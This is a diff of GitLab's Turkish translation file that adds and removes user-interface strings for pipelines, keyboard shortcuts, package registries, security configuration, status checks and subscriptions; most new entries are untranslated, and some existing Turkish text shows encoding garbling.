+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Ä°ÅŸler"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr "%{time_ago} katıldı"
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr "Klavye kısayolları"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes kümesi başarıyla güncellendi."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "Kubernetes dağıtımı bulunamadı"
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Lisans"
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr "Yönet"
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr "Birleştirme seçenekleri"
msgid "Merge request"
msgstr "BirleÅŸtirme isteÄŸi"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "%{iid} birleştirme talebi %{authorName} tarafından oluşturuldu"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr "Pazartesi"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Yeni etiketi adlandır"
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "Dağıtım bulunamadı"
@@ -22143,6 +22534,9 @@ msgstr "Yok"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr "Olamaz!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "Önce en eski"
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr "Sayfalar"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr "Sonraki sayfaya git"
msgid "Pagination|Go to previous page"
msgstr "Önceki sayfaya git"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Son »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Åžifre"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "İş Hattı Zamanlaması"
msgid "Pipeline Schedules"
msgstr "İş Hattı Zamanlamaları"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "İş hattı dakika kotası"
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Toplam:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr "'%{project_name}' için iş hattı ayarları başarıyla güncellendi."
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "Lütfen devam etmeden önce yeni bir şifre belirleyin."
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Önizleme"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "Biçimlendirme Önizlemesi"
@@ -24823,8 +25328,8 @@ msgstr "Özel katkılar"
msgid "Profiles|Profile was successfully updated"
msgstr "Profil başarıyla güncellendi"
-msgid "Profiles|Public Avatar"
-msgstr "Genel Profil Resmi"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "Herkese açık e-posta"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "%{group_name} ile paylaşılan projeler"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr "ProjectsDropdown|Bu özellik tarayıcıda yerel Depolama desteği gerekt
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr "BoÅŸ"
-
-msgid "ProjectsNew|Blank project"
-msgstr "BoÅŸ proje"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr "OluÅŸtur"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr "BoÅŸ proje oluÅŸtur"
@@ -25795,9 +26294,6 @@ msgstr "Åžablondan oluÅŸtur"
msgid "ProjectsNew|Create new project"
msgstr "Yeni proje oluÅŸtur"
-msgid "ProjectsNew|Creating project & repository."
-msgstr "Proje ve depo oluÅŸturma."
-
msgid "ProjectsNew|Description format"
msgstr "Açıklama formatı"
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "BENÄ°OKU ile depo baÅŸlat"
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr "Proje açıklaması %{tag_start}(isteğe bağlı)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr "Åžablon"
-
msgid "ProjectsNew|Visibility Level"
msgstr "Görünürlük Seviyesi"
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr "Durum"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "Metrikleri gör"
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr "Varsayılanı ayarlayın ve görünürlük seviyelerini sınırlayın. Ä
msgid "Set due date"
msgstr "Bitiş tarihi ayarlayın"
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Kayıt kısıtlamaları"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr "AÅŸama"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr "Bilinmeyen"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "Başarıyla engellendi"
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr "%{synced_timeago} başarıyla eşitlendi."
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr "Özet"
msgid "Sunday"
msgstr "Pazar"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
